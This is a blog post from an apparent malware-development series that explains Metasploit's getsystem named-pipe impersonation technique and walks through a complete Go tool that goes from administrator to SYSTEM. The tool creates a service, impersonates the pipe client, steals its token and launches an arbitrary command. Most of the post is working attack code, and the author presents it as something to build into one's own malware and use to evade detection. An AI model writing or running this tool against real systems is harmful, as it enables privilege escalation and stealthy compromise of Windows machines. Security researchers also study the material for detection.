Home Malware Development 11 - Privesc via named pipes as Metasploit getsystem (Golang)
Post
Cancel

Malware Development 11 - Privesc via named pipes as Metasploit getsystem (Golang)

Introduction

Hi hackers!

Welcome to the 11º malware development post, today we’ll discuss how Metasploit implements the getsystem command to elevate privileges from local administrator to SYSTEM, this can aid us to hide ourselves from being detected for example by injecting our malicious code on svchost.exe processes because they belong to SYSTEM. And after understanding it we’ll code a Golang program which will allow us to do the same but as an standalone binary, much more easy and compatible as we’ll also add CLI parameters.

Explanation

As the official Metasploit documentation says here, it uses 3 different techniques to elevate privs:

  • Named Pipe Impersonation (In Memory/Admin)
  • Named Pipe Impersonation (Dropper/Admin)
  • Token Duplication (In Memory/Admin)

But for today’s post we’ll focus on to the first technique since it’s the most efective one.

As administrator, you create a named pipe (we’ll see this later), a cmd.exe is created under the local system and it connects to our previously create pipe. Why do we want to do this? Because the named pipe can interact with the cmd.exe to steal its token and impersonate its privileges as SYSTEM

Windows docs (see here) say:

“Impersonation is the ability of a thread to execute in a security context different from that of the process that owns the thread. Impersonation enables the server thread to perform actions on behalf of the client, but within the limits of the client’s security context. The client typically has some lesser level of access rights.”

“A named pipe server thread can call the ImpersonateNamedPipeClient function to assume the access token of the user connected to the client end of the pipe. For example, a named pipe server can provide access to a database or file system to which the pipe server has privileged access. When a pipe client sends a request to the server, the server impersonates the client and attempts to access the protected database. The system then grants or denies the server’s access, based on the security level of the client. When the server is finished, it uses the RevertToSelf function to restore its original security token.”

So the main logic workflow is something like this:

Code

If we take a look at this getsystem C++ implementation we see that it’s not too long. Although with this example you have to connect to it manually, we’ll also automate this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}

	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

	std::wcout << "Impersonating the client..." << std::endl;
	ImpersonateNamedPipeClient(serverPipe);
	err = GetLastError();

	STARTUPINFO	si = {};
	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
	PROCESS_INFORMATION pi = {};
	HANDLE threadToken = GetCurrentThreadToken();
	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return 0;
}

Anyway we’ll do this in Golang so it changes a little bit. Let’s start by importing the needed packages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
  "os"
  "fmt"
  "log"
  "time"
  "flag"
  "os/exec"
  "unsafe"
  "syscall"

  "golang.org/x/sys/windows"

  // Malware Dev library
  ml "github.com/D3Ext/maldev/logging"
  ms "github.com/D3Ext/maldev/system"
)

Then we define a bunch of constants we’ll use later with API calls.

1
2
3
4
5
6
7
8
const (
  PIPE_ACCESS_DUPLEX       = 0x00000003
  PIPE_TYPE_MESSAGE        = 0x00000004
  PIPE_WAIT                = 0x00000000
  CREATE_NEW_CONSOLE       = 0x00000010
  CREATE_NEW_PROCESS_GROUP = 0x00000200
  PIPE_READMODE_MESSAGE    = 0x00000002
)

As I said above I want to create an easy to use tool so let’s create a function to print help panel.

1
2
3
4
5
6
7
8
9
10
func helpPanel(){
  fmt.Println(`
Usage of getsystem:
    -c)     command/binary to launch as SYSTEM (default: "cmd.exe")
    -n)     name of the named pipe to create (default: "examplepipe")
    -s)     name of the service to create (default: "examplesvc")
    -v)     print more information during the whole process
    -h)     display this help panel
  `)
}

Now let’s begin with the main logic function by creating CLI flags and checking high privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
func main(){
  var command string
  var pipe_name string
  var service_name string
  var verbose bool
  var help bool

  // Parse CLI flags
  flag.StringVar(&command, "c", "cmd.exe", "")
  flag.StringVar(&pipe_name, "n", "examplepipe", "")
  flag.StringVar(&service_name, "s", "examplesvc", "")
  flag.BoolVar(&verbose, "v", false, "")
  flag.BoolVar(&help, "h", false, "")
  flag.Parse()

  // Print ASCII banner
  ml.PrintBanner("Get-System")

  // Check help panel argument
  if (help) {
    helpPanel()
    os.Exit(0)
  }

  privs_check, err := ms.GetUserPrivs()
  if err != nil {
    log.Fatal(err)
  }

  if (privs_check == false) {
    log.Fatal("non-high privileges detected, you need more privs\n")
  }


  ...
}

Before starting with the magic we have to define the API calls we’re going to use. (All following code is inside main function)

1
2
3
4
5
6
7
8
9
10
11
// Parse Windows DLLs and API calls
kernel32 := windows.NewLazyDLL("kernel32.dll")
advapi32 := windows.NewLazyDLL("advapi32.dll")

CreateNamedPipeA := kernel32.NewProc("CreateNamedPipeA")
ConnectNamedPipe := kernel32.NewProc("ConnectNamedPipe")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
DisconnectNamedPipe := kernel32.NewProc("DisconnectNamedPipe")
ImpersonateNamedPipeClient := advapi32.NewProc("ImpersonateNamedPipeClient")
OpenThreadToken := advapi32.NewProc("OpenThreadToken")
CreateProcessWithTokenW := advapi32.NewProc("CreateProcessWithTokenW")

Now we create the service to automate the whole privesc process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Define named pipe and service values
named_pipe := "\\\\.\\pipe\\" + pipe_name
service := "/R sc.exe create " + service_name + " binPath= \"cmd.exe /R type C:\\Windows\\win.ini > " + named_pipe + "\""

// Create service (run command)
c := exec.Command("cmd.exe")
c.SysProcAttr = &syscall.SysProcAttr{}
c.SysProcAttr.CmdLine = service

err = c.Run()
if err != nil { // Handle error
  log.Fatalf("error creating service: %s\n", err)
}
defer deleteService(service_name)

At the end of this piece of code we use the deleteService function to remove it before exiting so let’s code it.

1
2
3
4
5
6
7
8
9
10
// used with defer to remove it before exiting
func deleteService(svc_name string) {
  c := exec.Command("cmd.exe")
  c.SysProcAttr = &syscall.SysProcAttr{}
  c.SysProcAttr.CmdLine = "/R sc.exe delete " + svc_name
  _, err := c.Output()
  if err != nil {
    log.Fatalf("error deleting service: %s\n", err)
  }
}

Then we have to create the needed named pipe via CreateNamedPipeA() call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Convert pipe name to ptr
chars := append([]byte(named_pipe), 0)
name := &chars[0]

// Call CreateNamedPipeA
r1, _, err := CreateNamedPipeA.Call(
  uintptr(unsafe.Pointer(name)),
  uintptr(uint32(PIPE_ACCESS_DUPLEX)),
  uintptr(uint32(PIPE_TYPE_MESSAGE|PIPE_WAIT)),
  uintptr(uint32(2)),
  uintptr(uint32(0)),
  uintptr(uint32(0)),
  uintptr(uint32(0)),
  uintptr(unsafe.Pointer(nil)),
)

pipe_handle := r1 // return code

if err != syscall.Errno(0) { // Handle error
  log.Fatalf("error has ocurred while creating named pipe: %s\n", err)
}
defer deleteNamedPipe(pipe_handle, DisconnectNamedPipe) // pass handle and DisconnectNamePipe proc

As you may notice we also used another function deleteNamedPipe() to revert our operations so let’s define it.

1
2
3
4
5
6
7
8
9
10
11
12
13
func deleteNamedPipe(pipe_handle uintptr, DisconnectNamedPipe *windows.LazyProc) {
  _, _, err := DisconnectNamedPipe.Call(uintptr(pipe_handle))
  if err != syscall.Errno(0) {
    fmt.Printf("error disconnecting named pipe: %s\n", err)
  }

  err = syscall.CloseHandle(syscall.Handle(pipe_handle))
  if err != nil {
    fmt.Printf("error closing close handle: %s\n", err)
  }

  return
}

Perfect, now the service and named pipe are created but we also have to start the service which will run as SYSTEM.

1
2
3
4
5
6
7
8
9
10
11
12
// Start service which allows us to steal SYSTEM token
go func() {
  c2 := exec.Command("cmd.exe")
  c2.SysProcAttr = &syscall.SysProcAttr{}
  c2.SysProcAttr.CmdLine = "/R sc.exe start " + service_name
  _, err = c2.Output()
  if err != nil { // Handle error
    if err != syscall.Errno(0) { // Handle error
      log.Fatalf("error starting service: %s\n", err)
    }
    }
}()

Now we connect to our named pipe and wait until someone connects, in this case it will be the previously mentioned service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Connect to named pipe
_, _, err = ConnectNamedPipe.Call(
  uintptr(pipe_handle),
  uintptr(unsafe.Pointer(nil)),
)

if err != syscall.Errno(0) { // Handle error
  log.Fatalf("error connecting to named pipe: %s\n", err)
}

// Read from pipe
var done uint32
err = syscall.ReadFile(syscall.Handle(pipe_handle), []byte{255}, &done, nil)
if err != nil { // Handle error
  log.Fatalf("error reading from pipe: %s\n", err)
}

As I explained above we should impersonate the client who connected to our pipe

1
2
3
4
5
6
7
8
// Impersonate client
_, _, err = ImpersonateNamedPipeClient.Call(
  uintptr(pipe_handle),
)

if err != syscall.Errno(0) { // Handle error
  log.Fatalf("error connecting to pipe: %s\n", err)
}

Then we get our impersonated token by calling OpenThreadToken() and passing to it our current thread which is under SYSTEM context.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Get current thread. Call GetCurrentThread
thread_handle, _, err := GetCurrentThread.Call()
if err != syscall.Errno(0) { // Handle error
  log.Fatalf("GetCurrentThread failed: %s\n", err)
}


// Get token from current thread. Call OpenThreadToken
var token_handle uintptr
_, _, err = OpenThreadToken.Call(
  uintptr(syscall.Handle(thread_handle)),
  uintptr(uint32(windows.TOKEN_ALL_ACCESS)),
  uintptr(uint32(0)),
  uintptr(unsafe.Pointer(&token_handle)),
)

if err != syscall.Errno(0) { // Handle error
  log.Fatalf("OpenThreadToken failed: %s\n", err)
}

And finally we create the wanted process with stolen token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Define process arguments to be created with token
cmd, _ := syscall.UTF16PtrFromString(command)
si := new(syscall.StartupInfo)
si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation)

// Call CreateProcessWithTokenW
_, _, err = CreateProcessWithTokenW.Call(
  uintptr(uintptr(token_handle)),
  uintptr(uint32(0)),
  uintptr(unsafe.Pointer(nil)),
  uintptr(unsafe.Pointer(cmd)),
  uintptr(uint32(CREATE_NEW_CONSOLE|CREATE_NEW_PROCESS_GROUP)),
  uintptr(unsafe.Pointer(nil)),
  uintptr(unsafe.Pointer(nil)),
  uintptr(unsafe.Pointer(si)),
  uintptr(unsafe.Pointer(pi)),
)

if err != syscall.Errno(0) { // Handle error
  log.Fatalf("CreateProcessWithTokenW failed: %s\n", err)
}

Before finishing I would also like to add some verbose so if we get an error we can specify -v parameter to see which API call failed. They’re minor changes so I won’t revise them.

The final code is really long so take a look at it by yourself here. Now let’s test it out.

Demo

Firstly we compile the code

And then we transfer it to a Windows testing machine.

Nice! As you can see it works like a charm. Let’s see what happens if we also use verbose -v and try to spawn a powershell.exe instead of cmd.exe by default.

It also works as expected.

References

1
2
3
4
5
6
7
8
9
10
11
https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
https://docs.rapid7.com/metasploit/meterpreter-getsystem/
https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation
https://learn.microsoft.com/en-us/windows/win32/ipc/impersonating-a-named-pipe-client?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken
https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself

Conclusion

I hope you’ve learned how Metasploit getsystem works under the hood so you can implement it in your own malware to escalate privileges with this well known technique.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.